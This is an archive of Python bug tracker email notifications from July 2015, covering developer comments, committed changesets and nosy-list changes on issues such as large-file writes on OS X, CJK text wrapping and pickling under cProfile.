Date: Mon, 20 Jul 2015 16:25:52 +0000
Subject: [issue24658] open().write() fails on 2 GB+ data (OS X)
In-Reply-To: <1437188368.42.0.0977367912313.issue24658@psf.upfronthosting.co.za>
Message-ID: <1437409552.96.0.855794177514.issue24658@psf.upfronthosting.co.za>


Ronald Oussoren added the comment:

The patch I attached earlier is for the default branch. More work is needed for the other active branches.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 20:56:55 2015
From: report at bugs.python.org (Billy Foster)
Date: Mon, 20 Jul 2015 18:56:55 +0000
Subject: [issue12978] Figure out extended attributes on BSDs
In-Reply-To: <1316014526.21.0.982877507813.issue12978@psf.upfronthosting.co.za>
Message-ID: <1437418615.1.0.55903952255.issue12978@psf.upfronthosting.co.za>


Billy Foster added the comment:

Is there any chance of getting this finalized?  I have been using William Orr's patch as a workaround for months now, but it would be nice to not have to manually apply it each version bump...

----------
nosy: +billyfoster

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 21:20:01 2015
From: report at bugs.python.org (R. David Murray)
Date: Mon, 20 Jul 2015 19:20:01 +0000
Subject: [issue24665] CJK support for textwrap
In-Reply-To: <1437276510.99.0.116072917153.issue24665@psf.upfronthosting.co.za>
Message-ID: <1437420001.4.0.290116638408.issue24665@psf.upfronthosting.co.za>


R. David Murray added the comment:

Because to get proper unicode support, we wrote python3, and because handling anything other than single-character-width characters in textwrap is a new feature.

----------
nosy: +r.david.murray
versions: +Python 3.6 -Python 2.7

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 21:59:11 2015
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 20 Jul 2015 19:59:11 +0000
Subject: [issue23573] Avoid redundant allocations in str.find and like
In-Reply-To: <1425390810.95.0.0960267231917.issue23573@psf.upfronthosting.co.za>
Message-ID: <20150720195908.30209.8129@psf.io>


Roundup Robot added the comment:

New changeset 311a4d28631b by Serhiy Storchaka in branch '3.5':
Issue #23573: Restored optimization of bytes.rfind() and bytearray.rfind()
https://hg.python.org/cpython/rev/311a4d28631b

New changeset c06410c68217 by Serhiy Storchaka in branch 'default':
Issue #23573: Restored optimization of bytes.rfind() and bytearray.rfind()
https://hg.python.org/cpython/rev/c06410c68217

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 23:46:18 2015
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 20 Jul 2015 21:46:18 +0000
Subject: [issue20792] Idle: test PathBrowser more
In-Reply-To: <1393493383.85.0.956500002219.issue20792@psf.upfronthosting.co.za>
Message-ID: <20150720214615.102488.53518@psf.io>


Roundup Robot added the comment:

New changeset 61d7e6fe0003 by Terry Jan Reedy in branch '2.7':
Issue #20792: Expand idle_test.test_pathbowser. Tweak file.
https://hg.python.org/cpython/rev/61d7e6fe0003

New changeset 0220328f962c by Terry Jan Reedy in branch '3.4':
Issue #20792: Expand idle_test.test_pathbowser. Tweak file to not copy twice.
https://hg.python.org/cpython/rev/0220328f962c

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 23:49:35 2015
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 20 Jul 2015 21:49:35 +0000
Subject: [issue20792] Idle: test PathBrowser more
In-Reply-To: <1393493383.85.0.956500002219.issue20792@psf.upfronthosting.co.za>
Message-ID: <1437428975.7.0.554047725933.issue20792@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

I only did the test_pathbrowser changes now.  I added an assert that failed in 2.7 because Idle still defines some old-style classes not subclassing object.

The 'main' test had been rewriten as an htest.  Am leaving issue open to look at those changes another time.

----------
stage:  -> patch review

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 23:49:46 2015
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 20 Jul 2015 21:49:46 +0000
Subject: [issue20792] Idle: test PathBrowser more
In-Reply-To: <1393493383.85.0.956500002219.issue20792@psf.upfronthosting.co.za>
Message-ID: <1437428986.91.0.457082576371.issue20792@psf.upfronthosting.co.za>


Changes by Terry J. Reedy :


----------
versions: +Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Jul 20 23:56:59 2015
From: report at bugs.python.org (Mark Mikofski)
Date: Mon, 20 Jul 2015 21:56:59 +0000
Subject: [issue4945] json checks True/False by identity, not boolean value
In-Reply-To: <1231911098.49.0.621266929609.issue4945@psf.upfronthosting.co.za>
Message-ID: <1437429419.44.0.452081549447.issue4945@psf.upfronthosting.co.za>


Mark Mikofski added the comment:

This is effecting IronPython as well, because .NET objects return copies not references. If a .NET assembly method is called from IronPython, its return is a copy, not a reference. Therefore the reference of a boolean return is not the same as the internal Python reference for that boolean, and the JSON encoder doesn't recognize the value as a boolean, but instead  treats it as an integer, and returns `str(o)`, which for `True` is "True" and for `False` is "False". Then the decoder can't interpret the JSON object because true and false are capitalize, which is not in its spec. :(

See my comment https://github.com/IronLanguages/main/issues/1033.

The patch would solve this problem. A copy of a boolean will be equal to  its value, ie False == False even if their references are not the same.

----------
nosy: +bwanamarko

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 00:23:56 2015
From: report at bugs.python.org (Erick Fonseca)
Date: Mon, 20 Jul 2015 22:23:56 +0000
Subject: [issue24676] Error in pickle using cProfile
Message-ID: <1437431036.58.0.597469569222.issue24676@psf.upfronthosting.co.za>


New submission from Erick Fonseca:

cPickle raises a PicklingError when trying to pickle an instance of a class defined in a module being profiled with cProfile.

Example code:

    import cPickle

    class A(object):
        pass

    a = A()
    with open('file.dat', 'wb') as f:
        cPickle.dump(a, f)

Running the above example with python -m cProfile resulted in 

cPickle.PicklingError: Can't pickle : attribute lookup __main__.A failed

I'm not sure if this is the intended behavior (I suppose __main__ in this case refers to the cProfile module file), but I googled it and couldn't find anything. I noticed this problem in Ubuntu 14.04 and Windows 8.1, both with Python 2.7.

----------
components: Extension Modules
messages: 247006
nosy: Erick Fonseca
priority: normal
severity: normal
status: open
title: Error in pickle using cProfile
type: crash
versions: Python 2.7

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 00:41:41 2015
From: report at bugs.python.org (Mali Akmanalp)
Date: Mon, 20 Jul 2015 22:41:41 +0000
Subject: [issue24658] open().write() fails on 2 GB+ data (OS X)
In-Reply-To: <1437188368.42.0.0977367912313.issue24658@psf.upfronthosting.co.za>
Message-ID: <1437432101.68.0.61760633653.issue24658@psf.upfronthosting.co.za>


Mali Akmanalp added the comment:

I don't know how helpful it is at this point, but the issue happens while reading also.

Here's some related discussion in the numpy tracker:

https://github.com/numpy/numpy/issues/3858 (The claim was that OSX Mavericks fixed this issue, it didn't, and there is an Apple bug ID in there somewhere, plus there is a link to a patch the torch folks used)

and also in pandas: https://github.com/pydata/pandas/issues/10641

I'd be happy to try to test patches out.

----------
nosy: +Mali Akmanalp

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 02:03:21 2015
From: report at bugs.python.org (Florent Gallaire)
Date: Tue, 21 Jul 2015 00:03:21 +0000
Subject: [issue24665] CJK support for textwrap
In-Reply-To: <1437276510.99.0.116072917153.issue24665@psf.upfronthosting.co.za>
Message-ID: <1437437001.17.0.878942988906.issue24665@psf.upfronthosting.co.za>


Florent Gallaire added the comment:

FUD about Python here is something I wasn't expecting.

Python 2 supports Unicode and is still used a lot by a lot of people.

CJK people are not subhumans, so don't support CJK is something called, wait... a bug ! And it's a shame that it was not fixed earlier.

Python 3 has this bug too, so it's not really what I would call a "proper unicode support".

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 03:13:28 2015
From: report at bugs.python.org (R. David Murray)
Date: Tue, 21 Jul 2015 01:13:28 +0000
Subject: [issue24665] CJK support for textwrap
In-Reply-To: <1437276510.99.0.116072917153.issue24665@psf.upfronthosting.co.za>
Message-ID: <1437441208.44.0.704886085247.issue24665@psf.upfronthosting.co.za>


R. David Murray added the comment:

The problem is (if I'm understanding this correctly, which I may not be, I'm not a unicode expert) is that how you compute and manipulate CJK characters in python2 differs depending on whether you are dealing with a wide build or a narrow build.  And the fact that python3 doesn't handle it either is why this would be a new feature (see the referenced issues).

But I could be wrong.  I leave it to the unicode experts.

----------
components: +Unicode
nosy: +ezio.melotti, haypo

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 04:53:31 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 21 Jul 2015 02:53:31 +0000
Subject: [issue24676] Error in pickle using cProfile
In-Reply-To: <1437431036.58.0.597469569222.issue24676@psf.upfronthosting.co.za>
Message-ID: <1437447211.37.0.0227597032194.issue24676@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The same is with profile, pickle and in 3.x. May be profile should set sys.modules['__main__']?

----------
components: +Library (Lib) -Extension Modules
nosy: +georg.brandl, serhiy.storchaka
type: crash -> behavior
versions: +Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 05:44:56 2015
From: report at bugs.python.org (Eric Snow)
Date: Tue, 21 Jul 2015 03:44:56 +0000
Subject: [issue24667] OrderedDict.popitem()/__str__() raises KeyError
In-Reply-To: <1437302438.28.0.708733032475.issue24667@psf.upfronthosting.co.za>
Message-ID: <1437450296.48.0.341887477092.issue24667@psf.upfronthosting.co.za>


Eric Snow added the comment:

Just to get this out of the way, are you running your tests against the latest beta (3)?  There were some known bugs in earlier betas that have since been fixed.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 06:00:14 2015
From: report at bugs.python.org (Eric Snow)
Date: Tue, 21 Jul 2015 04:00:14 +0000
Subject: [issue24667] OrderedDict.popitem()/__str__() raises KeyError
In-Reply-To: <1437302438.28.0.708733032475.issue24667@psf.upfronthosting.co.za>
Message-ID: <1437451214.53.0.879381742901.issue24667@psf.upfronthosting.co.za>


Eric Snow added the comment:

Correct me if I'm wrong but the travis-ci logs [1] seem to indicate it's using Python 3.6.0a0.

[1] https://travis-ci.org/xZise/pywikibot-core/builds/71550286#L144

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 06:43:29 2015
From: report at bugs.python.org (Akira Li)
Date: Tue, 21 Jul 2015 04:43:29 +0000
Subject: [issue19007] precise time.time() under Windows 8: use
 GetSystemTimePreciseAsFileTime
In-Reply-To: <1379015074.37.0.397731646491.issue19007@psf.upfronthosting.co.za>
Message-ID: <1437453809.25.0.706677500968.issue19007@psf.upfronthosting.co.za>


Changes by Akira Li <4kir4.1i at gmail.com>:


----------
nosy: +akira

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 07:26:24 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 21 Jul 2015 05:26:24 +0000
Subject: [issue23573] Avoid redundant allocations in str.find and like
In-Reply-To: <1425390810.95.0.0960267231917.issue23573@psf.upfronthosting.co.za>
Message-ID: <1437456384.4.0.69501030204.issue23573@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 07:52:20 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 21 Jul 2015 05:52:20 +0000
Subject: [issue24676] Error in pickle using cProfile
In-Reply-To: <1437431036.58.0.597469569222.issue24676@psf.upfronthosting.co.za>
Message-ID: <1437457940.84.0.724374045013.issue24676@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

This looks as duplicate of issue9914.

----------
resolution:  -> duplicate
status: open -> closed
superseder:  -> trace/profile conflict with the use of sys.modules[__name__]

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 07:57:54 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 21 Jul 2015 05:57:54 +0000
Subject: [issue9914] trace/profile conflict with the use of
 sys.modules[__name__]
In-Reply-To: <1285093065.41.0.819526070425.issue9914@psf.upfronthosting.co.za>
Message-ID: <1437458274.08.0.289682503508.issue9914@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Yet one problem (with pickle) was reported in issue24676.

----------
nosy: +serhiy.storchaka
versions: +Python 2.7, Python 3.4, Python 3.5, Python 3.6 -Python 3.2
Added file: http://bugs.python.org/file39963/issue24676.py

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 08:03:50 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 21 Jul 2015 06:03:50 +0000
Subject: [issue4945] json checks True/False by identity, not boolean value
In-Reply-To: <1231911098.49.0.621266929609.issue4945@psf.upfronthosting.co.za>
Message-ID: <1437458630.29.0.327703881087.issue4945@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

This issue is about boolean parameters, not boolean serialized values. Please open new issue for your problem Mark.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 08:18:28 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 21 Jul 2015 06:18:28 +0000
Subject: [issue24665] CJK support for textwrap
In-Reply-To: <1437276510.99.0.116072917153.issue24665@psf.upfronthosting.co.za>
Message-ID: <1437459508.78.0.833832428534.issue24665@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

What textwrap does not take into account the width of characters is not the only problem. It also does not take into account combining characters and control codes. Implementing all this will significantly complicate the code and possibly should lie outside the standard library. Such large change obviously is new feature. I believe that we should first provide a common interface to determine the width of the line (issue12499) and allow to determine the appropriate algorithm at the application level. Also provide helper functions like in issue12568.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:02:52 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:02:52 +0000
Subject: [issue22609] Constructors of some mapping classes don't accept `self`
 keyword argument
In-Reply-To: <1413029049.09.0.127316928921.issue22609@psf.upfronthosting.co.za>
Message-ID: <1437462172.15.0.3953346544.issue22609@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:03:12 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:03:12 +0000
Subject: [issue24536] os.pipe() should return a structsequence (or namedtuple.)
In-Reply-To: <1435648757.18.0.0558265298673.issue24536@psf.upfronthosting.co.za>
Message-ID: <1437462192.45.0.0679862198047.issue24536@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:03:36 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:03:36 +0000
Subject: [issue24632] Improve documentation about __main__.py
In-Reply-To: <1436856841.67.0.538500952598.issue24632@psf.upfronthosting.co.za>
Message-ID: <1437462216.35.0.658718650296.issue24632@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:04:02 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:04:02 +0000
Subject: [issue14010] deeply nested filter segfaults
In-Reply-To: <1329235106.54.0.737183388066.issue14010@psf.upfronthosting.co.za>
Message-ID: <1437462242.42.0.396181220189.issue14010@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:04:39 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:04:39 +0000
Subject: [issue24597] forbid redefinition of specializations in singledispatch
In-Reply-To: <1436449272.49.0.843794258637.issue24597@psf.upfronthosting.co.za>
Message-ID: <1437462279.94.0.668929052157.issue24597@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:04:57 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:04:57 +0000
Subject: [issue23517] datetime.utcfromtimestamp parses timestamps incorrectly
In-Reply-To: <1424817522.64.0.693607620573.issue23517@psf.upfronthosting.co.za>
Message-ID: <1437462297.43.0.78098420793.issue23517@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:05:19 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:05:19 +0000
Subject: [issue23623] Python 3.5 docs need to clarify how to set PATH, etc
In-Reply-To: <1425910467.52.0.177540191477.issue23623@psf.upfronthosting.co.za>
Message-ID: <1437462319.43.0.779729399553.issue23623@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:05:36 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:05:36 +0000
Subject: [issue24492] using custom objects as modules: AttributeErrors new in
 3.5
In-Reply-To: <1435081213.84.0.064797103678.issue24492@psf.upfronthosting.co.za>
Message-ID: <1437462336.82.0.881240936662.issue24492@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:07:21 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:07:21 +0000
Subject: [issue24120] pathlib.(r)glob stops on PermissionDenied exception
In-Reply-To: <1430675548.94.0.105476682455.issue24120@psf.upfronthosting.co.za>
Message-ID: <1437462441.66.0.0349803260201.issue24120@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:07:46 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:07:46 +0000
Subject: [issue24195] Add `Executor.filter` to concurrent.futures
In-Reply-To: <1431638802.0.0.167827013304.issue24195@psf.upfronthosting.co.za>
Message-ID: <1437462466.71.0.219419005105.issue24195@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:08:12 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:08:12 +0000
Subject: [issue17546] Document the circumstances where the locals() dict get
 updated
In-Reply-To: <1364232011.36.0.2936348393.issue17546@psf.upfronthosting.co.za>
Message-ID: <1437462492.65.0.189937446562.issue17546@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:08:33 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:08:33 +0000
Subject: [issue17960] Clarify the required behaviour of locals()
In-Reply-To: <1368344807.52.0.116896667629.issue17960@psf.upfronthosting.co.za>
Message-ID: <1437462513.61.0.807801136378.issue17960@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:08:56 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:08:56 +0000
Subject: [issue19979] Missing nested scope vars in class scope (bis)
In-Reply-To: <1386970277.4.0.799872209267.issue19979@psf.upfronthosting.co.za>
Message-ID: <1437462536.76.0.958109781791.issue19979@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:09:20 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:09:20 +0000
Subject: [issue6839] zipfile can't extract file
In-Reply-To: <1252094279.03.0.456295268952.issue6839@psf.upfronthosting.co.za>
Message-ID: <1437462560.5.0.620755778018.issue6839@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:09:45 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:09:45 +0000
Subject: =?utf-8?q?=5Bissue22625=5D_When_cross-compiling=2C_don=E2=80=99t_try_to_e?=
 =?utf-8?q?xecute_binaries?=
In-Reply-To: <1413226219.68.0.732560661241.issue22625@psf.upfronthosting.co.za>
Message-ID: <1437462585.51.0.74854089709.issue22625@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:10:09 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:10:09 +0000
Subject: [issue22872] multiprocessing.Queue raises AssertionError
In-Reply-To: <1415986488.54.0.734820295311.issue22872@psf.upfronthosting.co.za>
Message-ID: <1437462609.74.0.934283599212.issue22872@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:10:25 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:10:25 +0000
Subject: [issue24329] __qualname__ and __slots__
In-Reply-To: <1432930157.09.0.507147768187.issue24329@psf.upfronthosting.co.za>
Message-ID: <1437462625.15.0.279301948625.issue24329@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:10:44 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:10:44 +0000
Subject: [issue24056] Better expose closure,
 generator & coroutine status of functions
In-Reply-To: <1429942433.91.0.521457748741.issue24056@psf.upfronthosting.co.za>
Message-ID: <1437462644.07.0.865573705925.issue24056@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:11:01 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:11:01 +0000
Subject: [issue23699] Add a macro to ease writing rich comparisons
In-Reply-To: <1426686202.27.0.781464549576.issue23699@psf.upfronthosting.co.za>
Message-ID: <1437462661.47.0.511325194069.issue23699@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:11:45 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:11:45 +0000
Subject: [issue23572] functools.singledispatch fails when "not BaseClass" is
 True
In-Reply-To: <1425385029.2.0.304023107943.issue23572@psf.upfronthosting.co.za>
Message-ID: <1437462705.33.0.56321225231.issue23572@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:12:07 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:12:07 +0000
Subject: [issue11477] Incorrect operand precedence when implementing sequences
 in C
In-Reply-To: <1299965091.63.0.267715976543.issue11477@psf.upfronthosting.co.za>
Message-ID: <1437462727.4.0.330704301336.issue11477@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:12:28 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:12:28 +0000
Subject: [issue15582] Enhance inspect.getdoc to follow inheritance chains
In-Reply-To: <1344394334.01.0.280520797106.issue15582@psf.upfronthosting.co.za>
Message-ID: <1437462748.11.0.622543728585.issue15582@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:12:57 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:12:57 +0000
Subject: [issue22555] Tracking issue for adjustments to binary/text boundary
 handling
In-Reply-To: <1412481703.35.0.528069461639.issue22555@psf.upfronthosting.co.za>
Message-ID: <1437462777.96.0.00900830056982.issue22555@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:14:43 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:14:43 +0000
Subject: [issue11145] '%o' % user-defined instance
In-Reply-To: <1297104394.76.0.0164852469273.issue11145@psf.upfronthosting.co.za>
Message-ID: <1437462883.22.0.369271443748.issue11145@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:15:10 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:15:10 +0000
Subject: [issue24053] Define EXIT_SUCCESS and EXIT_FAILURE constants in sys
In-Reply-To: <1429890469.94.0.27310602141.issue24053@psf.upfronthosting.co.za>
Message-ID: <1437462910.07.0.757189179395.issue24053@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:15:25 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:15:25 +0000
Subject: [issue24165] Free list for single-digits ints
In-Reply-To: <1431352769.3.0.375640200007.issue24165@psf.upfronthosting.co.za>
Message-ID: <1437462925.2.0.865730273477.issue24165@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:15:43 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:15:43 +0000
Subject: [issue24052] sys.exit(code) returns "success" to the OS for some
 nonzero values of code
In-Reply-To: <1429889353.58.0.941477823236.issue24052@psf.upfronthosting.co.za>
Message-ID: <1437462943.85.0.205507407089.issue24052@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:16:24 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:16:24 +0000
Subject: [issue24045] Behavior of large returncodes  (sys.exit(nn))
In-Reply-To: <1429836429.07.0.888331603842.issue24045@psf.upfronthosting.co.za>
Message-ID: <1437462984.46.0.913465655756.issue24045@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:16:47 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:16:47 +0000
Subject: [issue14376] sys.exit documents argument as "integer" but actually
 requires "subtype of int"
In-Reply-To: <1332288480.19.0.200013792885.issue14376@psf.upfronthosting.co.za>
Message-ID: <1437463007.22.0.42831221188.issue14376@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:17:49 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:17:49 +0000
Subject: [issue21327] socket.type value changes after using settimeout()
In-Reply-To: <1398167707.44.0.251945553674.issue21327@psf.upfronthosting.co.za>
Message-ID: <1437463069.42.0.226892920461.issue21327@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:18:17 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:18:17 +0000
Subject: [issue23987] docs about containers membership testing wrong for
 broken objects
In-Reply-To: <1429258165.63.0.284734084008.issue23987@psf.upfronthosting.co.za>
Message-ID: <1437463097.7.0.0964734936294.issue23987@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:18:47 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:18:47 +0000
Subject: [issue23354] Loading 2 GiLOC file which raises exception causes wrong
 traceback
In-Reply-To: <1422675641.92.0.509373230042.issue23354@psf.upfronthosting.co.za>
Message-ID: <1437463127.28.0.833380698699.issue23354@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 09:19:00 2015
From: report at bugs.python.org (Ethan Furman)
Date: Tue, 21 Jul 2015 07:19:00 +0000
Subject: [issue10757] zipfile.write,
 arcname should be allowed to be a byte string
In-Reply-To: <1293021846.1.0.84362256489.issue10757@psf.upfronthosting.co.za>
Message-ID: <1437463140.55.0.559926036843.issue10757@psf.upfronthosting.co.za>


Changes by Ethan Furman :


----------
nosy:  -ethan.furman

_______________________________________
Python tracker 

_______________________________________

